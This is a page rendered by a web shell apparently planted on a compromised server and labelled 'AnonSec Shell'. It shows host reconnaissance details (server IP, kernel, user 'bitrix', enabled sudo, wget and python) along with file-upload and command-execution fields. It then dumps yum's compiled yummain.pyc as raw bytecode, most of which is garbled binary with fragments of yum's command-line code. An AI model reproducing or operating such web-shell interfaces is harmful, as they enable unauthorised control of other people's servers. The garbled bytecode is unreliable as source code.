AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 18.191.44.3
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/yum-cli/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /usr/share/yum-cli/yummain.pyc
�
�v_c@sgdZddlZddlZddlZddlZddlZddlZddlmZddlm	Z	ddlm
Z
ddlmZddlm
Z
mZddlZddlZddlmZd	�Zd
�Zd�Zd�Zed
�Ze�edkrcyeejdde�Wn3ek
r_Zejed�IJejd�nXndS(s4
Entrance point for the yum command line interface.
i����N(tErrors(tplugins(t
logginglevels(t_(t
utf8_widtht
exception2msg(t#suppress_keyboard_interrupt_messagecs�tjjdt���fd�}��fd�}��fd�}��fd�}���fd�}�fd����fd�}tjd	��tjd
��ytd�}WnHtk
r	}|jtj	kr�j
td��tj
d
�qnX|j�ytj�WnHtk
rl}|jtjkrm�j
td��tj
d
�qmnXtj��y�j|�WnXtjk
r�}||�Stjk
r�}||�Sttfk
r�}||�SXy�j�Wntjk
r}||�SXy�j�\}	}
Wn�tjk
rH}||�Stjk
rd}||�Stjk
r�}d}	t|�g}
n.tk
r�|�Stk
r�}||�SX|	dkrx$|
D]}�jtj d|�q�W��r�dS�j!S|	dkrGx$|
D]}�j
td�|�qW��rCdSdS|	dkrVnb|	dkrs��rodSdS�j
td�|	�x|
D]}�j
|�q�W��r�dSdS�j"j#r_�j"j$d}|j%dd
�}tj&j'|�r_tj(|tj)�r_�j
td�|��j
td���j
td����rXdSdSn�jtj td��y�j*�\}	}
Wn�tjk
r�}||�Stjk
r�}||�Stjk
r�}d}	t|�g}
n.tk
r|�Stk
r }||�SX|	dkrA��r:dS�j!S|	dkr�x-�j+|
�D]\}
}�j
|
|�q]W�j,r��j"j-s��j.td��n|�n��r�dSdS|	dkr�nE�j
td�|	�x|
D]}�j
|�q�W��rdSdS�jtj td��y�j/�}Wn�tjk
r_}||�Stjk
r{}||�Stjk
r�}||�Stk
r�|�Stk
r�}||�SXt0|�t0d"�krRt1|�dkrR|\}	}
x|
D]}�j
d|�qW|�|	}�j2r��j.td ��j2�q�nT|dkr�d}�j2r��j.td ��j2�q�n�jtj td!����r�dS|p��j!S(#s2Run the yum program from a command line interface.t
override_timecs$�jtd����r dSdS(Ns

Exiting on user canceli�i(tcriticalR((tloggertunlock(s/usr/share/yum-cli/yummain.pytexUserCancel*s	csS|jdkr%�jtd��n�jtd�t|����rOdSdS(Ni s

Exiting on Broken Pipes

%si�i(terrnoRRR(te(R	R
(s/usr/share/yum-cli/yummain.pyt	exIOError/s	cs6t|�}|r%�jd|�n��r2dSdS(soCalled when a plugin raises PluginYumExit.

        Log the plugin's exit message if one was supplied.
        s

%si�i(Rtwarn(R
texitmsg(R	R
(s/usr/share/yum-cli/yummain.pytexPluginExit7s	cs*�jdt|j����r&dSdS(Ns

%si�i(RRtvalue(R
(R	R
(s/usr/share/yum-cli/yummain.pytexFatalBs	cs�y�j�Wntjk
r$nXtd�}td�}td�}t|d�rs|jj}|jj}n|i|d6|d6}�jd|t	|����r�dSdS(	Ns� One of the configured repositories failed (%(repo)s),
 and yum doesn't have enough cached data to continue. At this point the only
 safe thing yum can do is fail. There are a few ways to work "fix" this:

     1. Contact the upstream for the repository and get them to fix the problem.

     2. Reconfigure the baseurl/etc. for the repository, to point to a working
        upstream. This is most often useful if you are using a newer
        distribution release than is supported by the repository (and the
        packages for the previous distribution release still work).

     3. Run the command with the repository temporarily disabled
            yum --disablerepo=%(repoid)s ...

     4. Disable the repository permanently, so yum won't use it by default. Yum
        will then just ignore the repository until you permanently enable it
        again or use --enablerepo for temporary usage:

            yum-config-manager --disable %(repoid)s
        or
            subscription-manager repos --disable=%(repoid)s

     5. Configure the failing repository to be skipped, if it is unavailable.
        Note that yum will try to contact the repo. when it runs most commands,
        so will have to try and fail each time (and thus. yum will be be much
        slower). If it is a very temporary problem though, this is often a nice
        compromise:

            yum-config-manager --save --setopt=%(repoid)s.skip_if_unavailable=true
tUnknowns<repoid>trepotrepoids

%s
%si�i(
tcleanExpireCacheRtYumBaseErrorRthasattrRtidtnameRR(R
tmsgtrepouiR(tbaseR	R
(s/usr/share/yum-cli/yummain.pytexRepoErrorGs 		cs6y�j��j�Wntjk
r1}dSXdS(Ni�i(t
closeRpmDBtdoUnlockRt	LockError(R
(R(s/usr/share/yum-cli/yummain.pyR
~s
cszy�jd�jdt�}Wn8tjk
rY}�jtd�t|��g}nX|sv�jtd��ndS(NtoutRs Yum checks failed: %ss4 You could try running: rpm -Va --nofiles --nodigest(t_rpmdb_warn_checkstinfotFalseRRRR(tprobsR
(Rtverbose_logger(s/usr/share/yum-cli/yummain.pytrpmdb_warn_checks�s
syum.mainsyum.verbose.maint.s8No read/execute access in current directory, moving to /t/s4No getcwd() access in current directory, moving to /iis%si�s	Error: %siids Unknown Error(s): Exit Code: %d:is/usrs//sNo write access to %s directorys   Maybe this is an ostree image?s3  To disable you can use --setopt=usr_w_check=falsesResolving Dependenciess= You could try using --skip-broken to work around the problems
Dependencies ResolvedsCYour transaction was saved, rerun it with:
 yum load-transaction %ss	Complete!(i(3tyumtmisctsetup_localetTruetloggingt	getLoggertopentIOErrorRtEACCESRRtostchdirtclosetgetcwdtOSErrortENOENTtclit
YumBaseClitgetOptionsConfigRt
PluginYumExitRRtwaitForLockt
doCommandst	RepoErrorRtKeyboardInterrupttlogRtINFO_2t	exit_codetconftusr_w_checktinstallroottreplacetpathtexiststaccesstW_OKtbuildTransactiontpretty_output_restringt_depsolving_failedtskip_brokenR%t
doTransactionttypetlent
_ts_save_file(targsRRRRRR)tfR
tresultt
resultmsgsRtusrinstpathtprefixtreturn_code((RR	R
R(s/usr/share/yum-cli/yummain.pytmain%s*7







	
		
		


		
	
	



*
	 	 	cOsfddl}tjjd�}|j|�}|j|||�}|j�t|jj	|��|S(s�Profile the given function using the hotshot profiler.

    :param func: the function to profile
    :return: the return code given by the hotshot profiler
    i����Ns
~/yum.prof(
t
hotshot.statsR5RJt
expandusertProfiletruncallR7tprint_statststatstload(tfuncRVtkwargsthotshottfntproftrc((s/usr/share/yum-cli/yummain.pyRg<s
cOsoddl}ddl}tjjd�}|j�}|j|||�}|j|�t|j	|��|S(s�Profile the given function using the cprof profiler.

    :param func: the function to profile
    :return: the return code given by the cprof profiler
    i����Ns
~/yum.prof(
tcProfiletpstatsR5RJR_R`Rat
dump_statsRbtStats(ReRVRfRkRlRhRiRj((s/usr/share/yum-cli/yummain.pytcprofJs
cCsE|j�|jdd�|jd�|jd�|jd�dS(sPrint out information from a :class:`Stats` object.

    :param stats: the :class:`Stats` object to print information from
    ttimetcallsit
cumulativei(N(t
strip_dirst
sort_statsRb(Rc((s/usr/share/yum-cli/yummain.pyRbXs



cCs�d}dtjkrbtjddkr:tt|�}ntjddkrbtt|�}qbndtjkr�ddl}|jt|��n|dkr�t|�}n|r�tj	|�n|S(slCall one of the multiple main() functions based on environment variables.

    :param args: command line arguments passed into yum
    :param exit_code: if *exit_code* is True, this function will exit
       python with its exit code when it has finished executing.
       Otherwise, it will return its exit code.
    :return: the exit code from yum execution
    tYUM_PROFRoRgtYUM_PDBi����N(
tNoneR5tenvironRoR]Rgtpdbtruntsystexit(RVREterrcodeRy((s/usr/share/yum-cli/yummain.pyt	user_maincs	t__main__iREs

Exiting on user cancel.( t__doc__R5tos.pathR{R0RpRR,RRRRtyum.i18nRRtyum.miscR;tutilsRR]RgRoRbR&R~t__name__targvR/RBR
tstderrR|(((s/usr/share/yum-cli/yummain.pyt<module>s6	�			

Anon7 - 2022
AnonSec Team